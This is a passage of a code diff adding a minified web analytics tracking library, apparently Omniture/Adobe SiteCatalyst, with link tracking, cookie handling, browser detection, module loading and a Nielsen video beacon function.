++"e();j=0;if(h.substring(0,7)=='http://')j+=7;else if(h.substring(0,8)=='https://')j+=8;i=h.indexOf(\"/\",j);if(i>0){h=h.substring(j,i);p=y.substring(i);y=y.substring(0,i);if(h.indexOf('google')>=0)l"
++"=',q,ie,start,search_key,word,kw,cd,';else if(h.indexOf('yahoo.co')>=0)l=',p,ei,';if(l&&q){a=s.sp(q,'&');if(a&&a.length>1){for(j=0;j<a.length;j++){t=a[j];i=t.indexOf('=');if(i>0&&l.indexOf(','+t.su"
++"bstring(0,i)+',')>=0)b+=(b?'&':'')+t;else c+=(c?'&':'')+t}if(b&&c)q=b+'&'+c;else c=''}i=253-(q.length-c.length)-y.length;x=y+(i>0?p.substring(0,i):'')+'?'+q}}}}return x};s.s2q=function(k,v,vf,vfp,f"
++"){var s=this,qs='',sk,sv,sp,ss,nke,nk,nf,nfl=0,nfn,nfm;if(k==\"contextData\")k=\"c\";if(v){for(sk in v) {if((!f||sk.substring(0,f.length)==f)&&v[sk]&&(!vf||vf.indexOf(','+(vfp?vfp+'.':'')+sk+',')>="
++"0)){nfm=0;if(nfl)for(nfn=0;nfn<nfl.length;nfn++)if(sk.substring(0,nfl[nfn].length)==nfl[nfn])nfm=1;if(!nfm){if(qs=='')qs+='&'+k+'.';sv=v[sk];if(f)sk=sk.substring(f.length);if(sk.length>0){nke=sk.in"
++"dexOf('.');if(nke>0){nk=sk.substring(0,nke);nf=(f?f:'')+nk+'.';if(!nfl)nfl=new Array;nfl[nfl.length]=nf;qs+=s.s2q(nk,v,vf,vfp,nf)}else{if(typeof(sv)=='boolean'){if(sv)sv='true';else sv='false'}if(s"
++"v){if(vfp=='retrieveLightData'&&f.indexOf('.contextData.')<0){sp=sk.substring(0,4);ss=sk.substring(4);if(sk=='transactionID')sk='xact';else if(sk=='channel')sk='ch';else if(sk=='campaign')sk='v0';e"
++"lse if(s.num(ss)){if(sp=='prop')sk='c'+ss;else if(sp=='eVar')sk='v'+ss;else if(sp=='list')sk='l'+ss;else if(sp=='hier'){sk='h'+ss;sv=sv.substring(0,255)}}}qs+='&'+s.ape(sk)+'='+s.ape(sv)}}}}}}if(qs"
++"!='')qs+='&.'+k}return qs};s.hav=function(){var s=this,qs='',l,fv='',fe='',mn,i,e;if(s.lightProfileID){l=s.va_m;fv=s.lightTrackVars;if(fv)fv=','+fv+','+s.vl_mr+','}else{l=s.va_t;if(s.pe||s.linkType"
++"){fv=s.linkTrackVars;fe=s.linkTrackEvents;if(s.pe){mn=s.pe.substring(0,1).toUpperCase()+s.pe.substring(1);if(s[mn]){fv=s[mn].trackVars;fe=s[mn].trackEvents}}}if(fv)fv=','+fv+','+s.vl_l+','+s.vl_l2;"
++"if(fe){fe=','+fe+',';if(fv)fv+=',events,'}if (s.events2)e=(e?',':'')+s.events2}for(i=0;i<l.length;i++){var k=l[i],v=s[k],b=k.substring(0,4),x=k.substring(4),n=parseInt(x),q=k;if(!v)if(k=='events'&&"
++"e){v=e;e=''}if(v&&(!fv||fv.indexOf(','+k+',')>=0)&&k!='linkName'&&k!='linkType'){if(k=='timestamp')q='ts';else if(k=='dynamicVariablePrefix')q='D';else if(k=='visitorID')q='vid';else if(k=='pageURL"
++"'){q='g';v=s.fl(v,255)}else if(k=='referrer'){q='r';v=s.fl(s.rf(v),255)}else if(k=='vmk'||k=='visitorMigrationKey')q='vmt';else if(k=='visitorMigrationServer'){q='vmf';if(s.ssl&&s.visitorMigrationS"
++"erverSecure)v=''}else if(k=='visitorMigrationServerSecure'){q='vmf';if(!s.ssl&&s.visitorMigrationServer)v=''}else if(k=='charSet'){q='ce';if(v.toUpperCase()=='AUTO')v='ISO8859-1';else if(s.em==2||s"
++".em==3)v='UTF-8'}else if(k=='visitorNamespace')q='ns';else if(k=='cookieDomainPeriods')q='cdp';else if(k=='cookieLifetime')q='cl';else if(k=='variableProvider')q='vvp';else if(k=='currencyCode')q='"
++"cc';else if(k=='channel')q='ch';else if(k=='transactionID')q='xact';else if(k=='campaign')q='v0';else if(k=='resolution')q='s';else if(k=='colorDepth')q='c';else if(k=='javascriptVersion')q='j';els"
++"e if(k=='javaEnabled')q='v';else if(k=='cookiesEnabled')q='k';else if(k=='browserWidth')q='bw';else if(k=='browserHeight')q='bh';else if(k=='connectionType')q='ct';else if(k=='homepage')q='hp';else"
++" if(k=='plugins')q='p';else if(k=='events'){if(e)v+=(v?',':'')+e;if(fe)v=s.fs(v,fe)}else if(k=='events2')v='';else if(k=='contextData'){qs+=s.s2q('c',s[k],fv,k,0);v=''}else if(k=='lightProfileID')q"
++"='mtp';else if(k=='lightStoreForSeconds'){q='mtss';if(!s.lightProfileID)v=''}else if(k=='lightIncrementBy'){q='mti';if(!s.lightProfileID)v=''}else if(k=='retrieveLightProfiles')q='mtsr';else if(k=="
++"'deleteLightProfiles')q='mtsd';else if(k=='retrieveLightData'){if(s.retrieveLightProfiles)qs+=s.s2q('mts',s[k],fv,k,0);v=''}else if(s.num(x)){if(b=='prop')q='c'+n;else if(b=='eVar')q='v'+n;else if("
++"b=='list')q='l'+n;else if(b=='hier'){q='h'+n;v=s.fl(v,255)}}if(v)qs+='&'+s.ape(q)+'='+(k.substring(0,3)!='pev'?s.ape(v):v)}}return qs};s.ltdf=function(t,h){t=t?t.toLowerCase():'';h=h?h.toLowerCase("
++"):'';var qi=h.indexOf('?');h=qi>=0?h.substring(0,qi):h;if(t&&h.substring(h.length-(t.length+1))=='.'+t)return 1;return 0};s.ltef=function(t,h){t=t?t.toLowerCase():'';h=h?h.toLowerCase():'';if(t&&h."
++"indexOf(t)>=0)return 1;return 0};s.lt=function(h){var s=this,lft=s.linkDownloadFileTypes,lef=s.linkExternalFilters,lif=s.linkInternalFilters;lif=lif?lif:s.wd.location.hostname;h=h.toLowerCase();if("
++"s.trackDownloadLinks&&lft&&s.pt(lft,',','ltdf',h))return 'd';if(s.trackExternalLinks&&h.substring(0,1)!='#'&&(lef||lif)&&(!lef||s.pt(lef,',','ltef',h))&&(!lif||!s.pt(lif,',','ltef',h)))return 'e';r"
++"eturn ''};s.lc=new Function('e','var s=s_c_il['+s._in+'],b=s.eh(this,\"onclick\");s.lnk=s.co(this);s.t();s.lnk=0;if(b)return this[b](e);return true');s.bc=new Function('e','var s=s_c_il['+s._in+'],"
++"f,tcf;if(s.d&&s.d.all&&s.d.all.cppXYctnr)return;s.eo=e.srcElement?e.srcElement:e.target;tcf=new Function(\"s\",\"var e;try{if(s.eo&&(s.eo.tagName||s.eo.parentElement||s.eo.parentNode))s.t()}catch(e"
++"){}\");tcf(s);s.eo=0');s.oh=function(o){var s=this,l=s.wd.location,h=o.href?o.href:'',i,j,k,p;i=h.indexOf(':');j=h.indexOf('?');k=h.indexOf('/');if(h&&(i<0||(j>=0&&i>j)||(k>=0&&i>k))){p=o.protocol&"
++"&o.protocol.length>1?o.protocol:(l.protocol?l.protocol:'');i=l.pathname.lastIndexOf('/');h=(p?p+'//':'')+(o.host?o.host:(l.host?l.host:''))+(h.substring(0,1)!='/'?l.pathname.substring(0,i<0?0:i)+'/"
++"':'')+h}return h};s.ot=function(o){var t=o.tagName;if(o.tagUrn||(o.scopeName&&o.scopeName.toUpperCase()!='HTML'))return '';t=t&&t.toUpperCase?t.toUpperCase():'';if(t=='SHAPE')t='';if(t){if((t=='INP"
++"UT'||t=='BUTTON')&&o.type&&o.type.toUpperCase)t=o.type.toUpperCase();else if(!t&&o.href)t='A';}return t};s.oid=function(o){var s=this,t=s.ot(o),p,c,n='',x=0;if(t&&!o.s_oid){p=o.protocol;c=o.onclick"
++";if(o.href&&(t=='A'||t=='AREA')&&(!c||!p||p.toLowerCase().indexOf('javascript')<0))n=s.oh(o);else if(c){n=s.rep(s.rep(s.rep(s.rep(''+c,\"\\r\",''),\"\\n\",''),\"\\t\",''),' ','');x=2}else if(t=='IN"
++"PUT'||t=='SUBMIT'){if(o.value)n=o.value;else if(o.innerText)n=o.innerText;else if(o.textContent)n=o.textContent;x=3}else if(o.src&&t=='IMAGE')n=o.src;if(n){o.s_oid=s.fl(n,100);o.s_oidt=x}}return o."
++"s_oid};s.rqf=function(t,un){var s=this,e=t.indexOf('='),u=e>=0?t.substring(0,e):'',q=e>=0?s.epa(t.substring(e+1)):'';if(u&&q&&(','+u+',').indexOf(','+un+',')>=0){if(u!=s.un&&s.un.indexOf(',')>=0)q="
++"'&u='+u+q+'&u=0';return q}return ''};s.rq=function(un){if(!un)un=this.un;var s=this,c=un.indexOf(','),v=s.c_r('s_sq'),q='';if(c<0)return s.pt(v,'&','rqf',un);return s.pt(un,',','rq',0)};s.sqp=funct"
++"ion(t,a){var s=this,e=t.indexOf('='),q=e<0?'':s.epa(t.substring(e+1));s.sqq[q]='';if(e>=0)s.pt(t.substring(0,e),',','sqs',q);return 0};s.sqs=function(un,q){var s=this;s.squ[un]=q;return 0};s.sq=fun"
++"ction(q){var s=this,k='s_sq',v=s.c_r(k),x,c=0;s.sqq=new Object;s.squ=new Object;s.sqq[q]='';s.pt(v,'&','sqp',0);s.pt(s.un,',','sqs',q);v='';for(x in s.squ)if(x&&(!Object||!Object.prototype||!Object"
++".prototype[x]))s.sqq[s.squ[x]]+=(s.sqq[s.squ[x]]?',':'')+x;for(x in s.sqq)if(x&&(!Object||!Object.prototype||!Object.prototype[x])&&s.sqq[x]&&(x==q||c<2)){v+=(v?'&':'')+s.sqq[x]+'='+s.ape(x);c++}re"
++"turn s.c_w(k,v,0)};s.wdl=new Function('e','var s=s_c_il['+s._in+'],r=true,b=s.eh(s.wd,\"onload\"),i,o,oc;if(b)r=this[b](e);for(i=0;i<s.d.links.length;i++){o=s.d.links[i];oc=o.onclick?\"\"+o.onclick"
++":\"\";if((oc.indexOf(\"s_gs(\")<0||oc.indexOf(\".s_oc(\")>=0)&&oc.indexOf(\".tl(\")<0)s.eh(o,\"onclick\",0,s.lc);}return r');s.wds=function(){var s=this;if(s.apv>3&&(!s.isie||!s.ismac||s.apv>=5)){i"
++"f(s.b&&s.b.attachEvent)s.b.attachEvent('onclick',s.bc);else if(s.b&&s.b.addEventListener)s.b.addEventListener('click',s.bc,false);else s.eh(s.wd,'onload',0,s.wdl)}};s.vs=function(x){var s=this,v=s."
++"visitorSampling,g=s.visitorSamplingGroup,k='s_vsn_'+s.un+(g?'_'+g:''),n=s.c_r(k),e=new Date,y=e.getYear();e.setYear(y+10+(y<1900?1900:0));if(v){v*=100;if(!n){if(!s.c_w(k,x,e))return 0;n=x}if(n%1000"
++"0>v)return 0}return 1};s.dyasmf=function(t,m){if(t&&m&&m.indexOf(t)>=0)return 1;return 0};s.dyasf=function(t,m){var s=this,i=t?t.indexOf('='):-1,n,x;if(i>=0&&m){var n=t.substring(0,i),x=t.substring"
++"(i+1);if(s.pt(x,',','dyasmf',m))return n}return 0};s.uns=function(){var s=this,x=s.dynamicAccountSelection,l=s.dynamicAccountList,m=s.dynamicAccountMatch,n,i;s.un=s.un.toLowerCase();if(x&&l){if(!m)"
++"m=s.wd.location.host;if(!m.toLowerCase)m=''+m;l=l.toLowerCase();m=m.toLowerCase();n=s.pt(l,';','dyasf',m);if(n)s.un=n}i=s.un.indexOf(',');s.fun=i<0?s.un:s.un.substring(0,i)};s.sa=function(un){var s"
++"=this;s.un=un;if(!s.oun)s.oun=un;else if((','+s.oun+',').indexOf(','+un+',')<0)s.oun+=','+un;s.uns()};s.m_i=function(n,a){var s=this,m,f=n.substring(0,1),r,l,i;if(!s.m_l)s.m_l=new Object;if(!s.m_nl"
++")s.m_nl=new Array;m=s.m_l[n];if(!a&&m&&m._e&&!m._i)s.m_a(n);if(!m){m=new Object,m._c='s_m';m._in=s.wd.s_c_in;m._il=s._il;m._il[m._in]=m;s.wd.s_c_in++;m.s=s;m._n=n;m._l=new Array('_c','_in','_il','_"
++"i','_e','_d','_dl','s','n','_r','_g','_g1','_t','_t1','_x','_x1','_rs','_rr','_l');s.m_l[n]=m;s.m_nl[s.m_nl.length]=n}else if(m._r&&!m._m){r=m._r;r._m=m;l=m._l;for(i=0;i<l.length;i++)if(m[l[i]])r[l"
++"[i]]=m[l[i]];r._il[r._in]=r;m=s.m_l[n]=r}if(f==f.toUpperCase())s[n]=m;return m};s.m_a=new Function('n','g','e','if(!g)g=\"m_\"+n;var s=s_c_il['+s._in+'],c=s[g+\"_c\"],m,x,f=0;if(!c)c=s.wd[\"s_\"+g+"
++"\"_c\"];if(c&&s_d)s[g]=new Function(\"s\",s_ft(s_d(c)));x=s[g];if(!x)x=s.wd[\\'s_\\'+g];if(!x)x=s.wd[g];m=s.m_i(n,1);if(x&&(!m._i||g!=\"m_\"+n)){m._i=f=1;if((\"\"+x).indexOf(\"function\")>=0)x(s);e"
++"lse s.m_m(\"x\",n,x,e)}m=s.m_i(n,1);if(m._dl)m._dl=m._d=0;s.dlt();return f');s.m_m=function(t,n,d,e){t='_'+t;var s=this,i,x,m,f='_'+t,r=0,u;if(s.m_l&&s.m_nl)for(i=0;i<s.m_nl.length;i++){x=s.m_nl[i]"
++";if(!n||x==n){m=s.m_i(x);u=m[t];if(u){if((''+u).indexOf('function')>=0){if(d&&e)u=m[t](d,e);else if(d)u=m[t](d);else u=m[t]()}}if(u)r=1;u=m[t+1];if(u&&!m[f]){if((''+u).indexOf('function')>=0){if(d&"
++"&e)u=m[t+1](d,e);else if(d)u=m[t+1](d);else u=m[t+1]()}}m[f]=1;if(u)r=1}}return r};s.m_ll=function(){var s=this,g=s.m_dl,i,o;if(g)for(i=0;i<g.length;i++){o=g[i];if(o)s.loadModule(o.n,o.u,o.d,o.l,o."
++"e,1);g[i]=0}};s.loadModule=function(n,u,d,l,e,ln){var s=this,m=0,i,g,o=0,f1,f2,c=s.h?s.h:s.b,b,tcf;if(n){i=n.indexOf(':');if(i>=0){g=n.substring(i+1);n=n.substring(0,i)}else g=\"m_\"+n;m=s.m_i(n)}i"
++"f((l||(n&&!s.m_a(n,g)))&&u&&s.d&&c&&s.d.createElement){if(d){m._d=1;m._dl=1}if(ln){if(s.ssl)u=s.rep(u,'http:','https:');i='s_s:'+s._in+':'+n+':'+g;b='var s=s_c_il['+s._in+'],o=s.d.getElementById(\""
++"'+i+'\");if(s&&o){if(!o.l&&s.wd.'+g+'){o.l=1;if(o.i)clearTimeout(o.i);o.i=0;s.m_a(\"'+n+'\",\"'+g+'\"'+(e?',\"'+e+'\"':'')+')}';f2=b+'o.c++;if(!s.maxDelay)s.maxDelay=250;if(!o.l&&o.c<(s.maxDelay*2)"
++"/100)o.i=setTimeout(o.f2,100)}';f1=new Function('e',b+'}');tcf=new Function('s','c','i','u','f1','f2','var e,o=0;try{o=s.d.createElement(\"script\");if(o){o.type=\"text/javascript\";'+(n?'o.id=i;o."
++"defer=true;o.onload=o.onreadystatechange=f1;o.f2=f2;o.l=0;':'')+'o.src=u;c.appendChild(o);'+(n?'o.c=0;o.i=setTimeout(f2,100)':'')+'}}catch(e){o=0}return o');o=tcf(s,c,i,u,f1,f2)}else{o=new Object;o"
++".n=n+':'+g;o.u=u;o.d=d;o.l=l;o.e=e;g=s.m_dl;if(!g)g=s.m_dl=new Array;i=0;while(i<g.length&&g[i])i++;g[i]=o}}else if(n){m=s.m_i(n);m._e=1}return m};s.voa=function(vo,r){var s=this,l=s.va_g,i,k,v,x;f"
++"or(i=0;i<l.length;i++){k=l[i];v=vo[k];if(v||vo['!'+k]){if(!r&&(k==\"contextData\"||k==\"retrieveLightData\")&&s[k])for(x in s[k])if(!v[x])v[x]=s[k][x];s[k]=v}}};s.vob=function(vo){var s=this,l=s.va"
++"_g,i,k;for(i=0;i<l.length;i++){k=l[i];vo[k]=s[k];if(!vo[k])vo['!'+k]=1}};s.dlt=new Function('var s=s_c_il['+s._in+'],d=new Date,i,vo,f=0;if(s.dll)for(i=0;i<s.dll.length;i++){vo=s.dll[i];if(vo){if(!"
++"s.m_m(\"d\")||d.getTime()-vo._t>=s.maxDelay){s.dll[i]=0;s.t(vo)}else f=1}}if(s.dli)clearTimeout(s.dli);s.dli=0;if(f){if(!s.dli)s.dli=setTimeout(s.dlt,s.maxDelay)}else s.dll=0');s.dl=function(vo){va"
++"r s=this,d=new Date;if(!vo)vo=new Object;s.vob(vo);vo._t=d.getTime();if(!s.dll)s.dll=new Array;s.dll[s.dll.length]=vo;if(!s.maxDelay)s.maxDelay=250;s.dlt()};s.track=s.t=function(vo){var s=this,trk="
++"1,tm=new Date,sed=Math&&Math.random?Math.floor(Math.random()*10000000000000):tm.getTime(),sess='s'+Math.floor(tm.getTime()/10800000)%10+sed,y=tm.getYear(),vt=tm.getDate()+'/'+tm.getMonth()+'/'+(y<1"
++"900?y+1900:y)+' '+tm.getHours()+':'+tm.getMinutes()+':'+tm.getSeconds()+' '+tm.getDay()+' '+tm.getTimezoneOffset(),tcf,tfs=s.gtfs(),ta=-1,q='',qs='',code='',vb=new Object;s.gl(s.vl_g);s.uns();s.m_l"
++"l();if(!s.td){var tl=tfs.location,a,o,i,x='',c='',v='',p='',bw='',bh='',j='1.0',k=s.c_w('s_cc','true',0)?'Y':'N',hp='',ct='',pn=0,ps;if(String&&String.prototype){j='1.1';if(j.match){j='1.2';if(tm.s"
++"etUTCDate){j='1.3';if(s.isie&&s.ismac&&s.apv>=5)j='1.4';if(pn.toPrecision){j='1.5';a=new Array;if(a.forEach){j='1.6';i=0;o=new Object;tcf=new Function('o','var e,i=0;try{i=new Iterator(o)}catch(e){"
++"}return i');i=tcf(o);if(i&&i.next)j='1.7'}}}}}if(s.apv>=4)x=screen.width+'x'+screen.height;if(s.isns||s.isopera){if(s.apv>=3){v=s.n.javaEnabled()?'Y':'N';if(s.apv>=4){c=screen.pixelDepth;bw=s.wd.in"
++"nerWidth;bh=s.wd.innerHeight}}s.pl=s.n.plugins}else if(s.isie){if(s.apv>=4){v=s.n.javaEnabled()?'Y':'N';c=screen.colorDepth;if(s.apv>=5){bw=s.d.documentElement.offsetWidth;bh=s.d.documentElement.of"
++"fsetHeight;if(!s.ismac&&s.b){tcf=new Function('s','tl','var e,hp=0;try{s.b.addBehavior(\"#default#homePage\");hp=s.b.isHomePage(tl)?\"Y\":\"N\"}catch(e){}return hp');hp=tcf(s,tl);tcf=new Function('"
++"s','var e,ct=0;try{s.b.addBehavior(\"#default#clientCaps\");ct=s.b.connectionType}catch(e){}return ct');ct=tcf(s)}}}else r=''}if(s.pl)while(pn<s.pl.length&&pn<30){ps=s.fl(s.pl[pn].name,100)+';';if("
++"p.indexOf(ps)<0)p+=ps;pn++}s.resolution=x;s.colorDepth=c;s.javascriptVersion=j;s.javaEnabled=v;s.cookiesEnabled=k;s.browserWidth=bw;s.browserHeight=bh;s.connectionType=ct;s.homepage=hp;s.plugins=p;"
++"s.td=1}if(vo){s.vob(vb);s.voa(vo)}if((vo&&vo._t)||!s.m_m('d')){if(s.usePlugins)s.doPlugins(s);var l=s.wd.location,r=tfs.document.referrer;if(!s.pageURL)s.pageURL=l.href?l.href:l;if(!s.referrer&&!s."
++"_1_referrer){s.referrer=r;s._1_referrer=1}s.m_m('g');if(s.lnk||s.eo){var o=s.eo?s.eo:s.lnk,p=s.pageName,w=1,t=s.ot(o),n=s.oid(o),x=o.s_oidt,h,l,i,oc;if(s.eo&&o==s.eo){while(o&&!n&&t!='BODY'){o=o.pa"
++"rentElement?o.parentElement:o.parentNode;if(o){t=s.ot(o);n=s.oid(o);x=o.s_oidt}}if(o){oc=o.onclick?''+o.onclick:'';if((oc.indexOf('s_gs(')>=0&&oc.indexOf('.s_oc(')<0)||oc.indexOf('.tl(')>=0)o=0}}if"
++"(o){if(n)ta=o.target;h=s.oh(o);i=h.indexOf('?');h=s.linkLeaveQueryString||i<0?h:h.substring(0,i);l=s.linkName;t=s.linkType?s.linkType.toLowerCase():s.lt(h);if(t&&(h||l)){s.pe='lnk_'+(t=='d'||t=='e'"
++"?t:'o');q+='&pe='+s.pe+(h?'&pev1='+s.ape(h):'')+(l?'&pev2='+s.ape(l):'');}else trk=0;if(s.trackInlineStats){if(!p){p=s.pageURL;w=0}t=s.ot(o);i=o.sourceIndex;if(s.gg('objectID')){n=s.gg('objectID');"
++"x=1;i=1}if(p&&n&&t)qs='&pid='+s.ape(s.fl(p,255))+(w?'&pidt='+w:'')+'&oid='+s.ape(s.fl(n,100))+(x?'&oidt='+x:'')+'&ot='+s.ape(t)+(i?'&oi='+i:'')}}else trk=0}if(trk||qs){s.sampled=s.vs(sed);if(trk){i"
++"f(s.sampled)code=s.mr(sess,(vt?'&t='+s.ape(vt):'')+s.hav()+q+(qs?qs:s.rq()),0,ta);qs='';s.m_m('t');if(s.p_r)s.p_r();s.referrer=s.lightProfileID=s.retrieveLightProfiles=s.deleteLightProfiles=''}s.sq"
++"(qs)}}else s.dl(vo);if(vo)s.voa(vb,1);s.lnk=s.eo=s.linkName=s.linkType=s.wd.s_objectID=s.ppu=s.pe=s.pev1=s.pev2=s.pev3='';if(s.pg)s.wd.s_lnk=s.wd.s_eo=s.wd.s_linkName=s.wd.s_linkType='';return code"
++"};s.trackLink=s.tl=function(o,t,n,vo){var s=this;s.lnk=s.co(o);s.linkType=t;s.linkName=n;s.t(vo)};s.trackLight=function(p,ss,i,vo){var s=this;s.lightProfileID=p;s.lightStoreForSeconds=ss;s.lightInc"
++"rementBy=i;s.t(vo)};s.setTagContainer=function(n){var s=this,l=s.wd.s_c_il,i,t,x,y;s.tcn=n;if(l)for(i=0;i<l.length;i++){t=l[i];if(t&&t._c=='s_l'&&t.tagContainerName==n){s.voa(t);if(t.lmq)for(i=0;i<"
++"t.lmq.length;i++){x=t.lmq[i];y='m_'+x.n;if(!s[y]&&!s[y+'_c']){s[y]=t[y];s[y+'_c']=t[y+'_c']}s.loadModule(x.n,x.u,x.d)}if(t.ml)for(x in t.ml)if(s[x]){y=s[x];x=t.ml[x];for(i in x)if(!Object.prototype"
++"[i]){if(typeof(x[i])!='function'||(''+x[i]).indexOf('s_c_il')<0)y[i]=x[i]}}if(t.mmq)for(i=0;i<t.mmq.length;i++){x=t.mmq[i];if(s[x.m]){y=s[x.m];if(y[x.f]&&typeof(y[x.f])=='function'){if(x.a)y[x.f].a"
++"pply(y,x.a);else y[x.f].apply(y)}}}if(t.tq)for(i=0;i<t.tq.length;i++)s.t(t.tq[i]);t.s=s;return}}};s.wd=window;s.ssl=(s.wd.location.protocol.toLowerCase().indexOf('https')>=0);s.d=document;s.b=s.d.b"
++"ody;if(s.d.getElementsByTagName){s.h=s.d.getElementsByTagName('HEAD');if(s.h)s.h=s.h[0]}s.n=navigator;s.u=s.n.userAgent;s.ns6=s.u.indexOf('Netscape6/');var apn=s.n.appName,v=s.n.appVersion,ie=v.ind"
++"exOf('MSIE '),o=s.u.indexOf('Opera '),i;if(v.indexOf('Opera')>=0||o>0)apn='Opera';s.isie=(apn=='Microsoft Internet Explorer');s.isns=(apn=='Netscape');s.isopera=(apn=='Opera');s.ismac=(s.u.indexOf("
++"'Mac')>=0);if(o>0)s.apv=parseFloat(s.u.substring(o+6));else if(ie>0){s.apv=parseInt(i=v.substring(ie+5));if(s.apv>3)s.apv=parseFloat(i)}else if(s.ns6>0)s.apv=parseFloat(s.u.substring(s.ns6+10));els"
++"e s.apv=parseFloat(v);s.em=0;if(s.em.toPrecision)s.em=3;else if(String.fromCharCode){i=escape(String.fromCharCode(256)).toUpperCase();s.em=(i=='%C4%80'?2:(i=='%U0100'?1:0))}if(s.oun)s.sa(s.oun);s.s"
++"a(un);s.vl_l='dynamicVariablePrefix,visitorID,vmk,visitorMigrationKey,visitorMigrationServer,visitorMigrationServerSecure,ppu,charSet,visitorNamespace,cookieDomainPeriods,cookieLifetime,pageName,pa"
++"geURL,referrer,currencyCode';s.va_l=s.sp(s.vl_l,',');s.vl_mr=s.vl_m='charSet,visitorNamespace,cookieDomainPeriods,cookieLifetime,contextData,lightProfileID,lightStoreForSeconds,lightIncrementBy';s."
++"vl_t=s.vl_l+',variableProvider,channel,server,pageType,transactionID,purchaseID,campaign,state,zip,events,events2,products,linkName,linkType,contextData,lightProfileID,lightStoreForSeconds,lightInc"
++"rementBy,retrieveLightProfiles,deleteLightProfiles,retrieveLightData';var n;for(n=1;n<=75;n++){s.vl_t+=',prop'+n+',eVar'+n;s.vl_m+=',prop'+n+',eVar'+n}for(n=1;n<=5;n++)s.vl_t+=',hier'+n;for(n=1;n<="
++"3;n++)s.vl_t+=',list'+n;s.va_m=s.sp(s.vl_m,',');s.vl_l2=',tnt,pe,pev1,pev2,pev3,resolution,colorDepth,javascriptVersion,javaEnabled,cookiesEnabled,browserWidth,browserHeight,connectionType,homepage"
++",plugins';s.vl_t+=s.vl_l2;s.va_t=s.sp(s.vl_t,',');s.vl_g=s.vl_t+',trackingServer,trackingServerSecure,trackingServerBase,fpCookieDomainPeriods,disableBufferedRequests,mobile,visitorSampling,visitor"
++"SamplingGroup,dynamicAccountSelection,dynamicAccountList,dynamicAccountMatch,trackDownloadLinks,trackExternalLinks,trackInlineStats,linkLeaveQueryString,linkDownloadFileTypes,linkExternalFilters,li"
++"nkInternalFilters,linkTrackVars,linkTrackEvents,linkNames,lnk,eo,lightTrackVars,_1_referrer,un';s.va_g=s.sp(s.vl_g,',');s.pg=pg;s.gl(s.vl_g);s.contextData=new Object;s.retrieveLightData=new Object;"
++"if(!ss)s.wds();if(pg){s.wd.s_co=function(o){s_gi(\"_\",1,1).co(o)};s.wd.s_gs=function(un){s_gi(un,1,1).t()};s.wd.s_dc=function(un){s_gi(un,1).t()}}",
+w=window,l=w.s_c_il,n=navigator,u=n.userAgent,v=n.appVersion,e=v.indexOf('MSIE '),m=u.indexOf('Netscape6/'),a,i,j,x,s;if(un){un=un.toLowerCase();if(l)for(j=0;j<2;j++)for(i=0;i<l.length;i++){s=l[i];x=s._c;if((!x||x=='s_c'||(j>0&&x=='s_l'))&&(s.oun==un||(s.fs&&s.sa&&s.fs(s.oun,un)))){if(s.sa)s.sa(un);if(x=='s_c')return s}else s=0}}w.s_an='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+w.s_sp=new Function("x","d","var a=new Array,i=0,j;if(x){if(x.split)a=x.split(d);else if(!d)for(i=0;i<x.length;i++)a[a.length]=x.substring(i,i+1);else while(i>=0){j=x.indexOf(d,i);a[a.length]=x.subst"
++"ring(i,j<0?x.length:j);i=j;if(i>=0)i+=d.length}}return a");
+w.s_jn=new Function("a","d","var x='',i,j=a.length;if(a&&j>0){x=a[0];if(j>1){if(a.join)x=a.join(d);else for(i=1;i<j;i++)x+=d+a[i]}}return x");
+w.s_rep=new Function("x","o","n","return s_jn(s_sp(x,o),n)");
+w.s_d=new Function("x","var t='`^@$#',l=s_an,l2=new Object,x2,d,b=0,k,i=x.lastIndexOf('~~'),j,v,w;if(i>0){d=x.substring(0,i);x=x.substring(i+2);l=s_sp(l,'');for(i=0;i<62;i++)l2[l[i]]=i;t=s_sp(t,'');d"
++"=s_sp(d,'~');i=0;while(i<5){v=0;if(x.indexOf(t[i])>=0) {x2=s_sp(x,t[i]);for(j=1;j<x2.length;j++){k=x2[j].substring(0,1);w=t[i]+k;if(k!=' '){v=1;w=d[b+l2[k]]}x2[j]=w+x2[j].substring(1)}}if(v)x=s_jn("
++"x2,'');else{w=t[i]+' ';if(x.indexOf(w)>=0)x=s_rep(x,w,t[i]);i++;b+=62}}}return x");
+w.s_fe=new Function("c","return s_rep(s_rep(s_rep(c,'\\\\','\\\\\\\\'),'\"','\\\\\"'),\"\\n\",\"\\\\n\")");
+w.s_fa=new Function("f","var s=f.indexOf('(')+1,e=f.indexOf(')'),a='',c;while(s>=0&&s<e){c=f.substring(s,s+1);if(c==',')a+='\",\"';else if((\"\\n\\r\\t \").indexOf(c)<0)a+=c;s++}return a?'\"'+a+'\"':"
++"a");
+w.s_ft=new Function("c","c+='';var s,e,o,a,d,q,f,h,x;s=c.indexOf('=function(');while(s>=0){s++;d=1;q='';x=0;f=c.substring(s);a=s_fa(f);e=o=c.indexOf('{',s);e++;while(d>0){h=c.substring(e,e+1);if(q){i"
++"f(h==q&&!x)q='';if(h=='\\\\')x=x?0:1;else x=0}else{if(h=='\"'||h==\"'\")q=h;if(h=='{')d++;if(h=='}')d--}if(d>0)e++}c=c.substring(0,s)+'new Function('+(a?a+',':'')+'\"'+s_fe(c.substring(o+1,e))+'\")"
++"'+c.substring(e+1);s=c.indexOf('=function(')}return c;");
+c=s_d(c);if(e>0){a=parseInt(i=v.substring(e+5));if(a>3)a=parseFloat(i)}else if(m>0)a=parseFloat(u.substring(m+10));else a=parseFloat(v);if(a<5||v.indexOf('Opera')>=0||u.indexOf('Opera')>=0)c=s_ft(c);if(!s){s=new Object;if(!w.s_c_in){w.s_c_il=new Array;w.s_c_in=0}s._il=w.s_c_il;s._in=w.s_c_in;s._il[s._in]=s;w.s_c_in++;}s._c='s_c';(new Function("s","un","pg","ss",c))(s,un,pg,ss);return s}
+function s_giqf(){var w=window,q=w.s_giq,i,t,s;if(q)for(i=0;i<q.length;i++){t=q[i];s=s_gi(t.oun);s.sa(t.un);s.setTagContainer(t.tagContainerName)}w.s_giq=0}s_giqf()
+function trackNielsenVideoCensusBeacon(config,state,videoId,videoTitle,duration) {
+ var url="http://secure-${sfcode}.imrworldwide.com/cgi-bin/m?ci=${clientid}&c6=${prod},${vcid}&cc=1&tl=${state}-${videoId}&rnd=${random}&cg=${videoTitle}",
+ nVC=(!config?null:config["video-census"]);
+ if(!nVC) {return;}
+ switch(state) {
+ case "start":
+ nVC.state="dav0";
+ break;
+ case "complete":
+ nVC.state="dav2";
+ break;
+ }
+ nVC.videoId=videoId;
+ nVC.videoTitle=videoTitle;
+ _jsmd.doImageBeacon(url,nVC);
+}
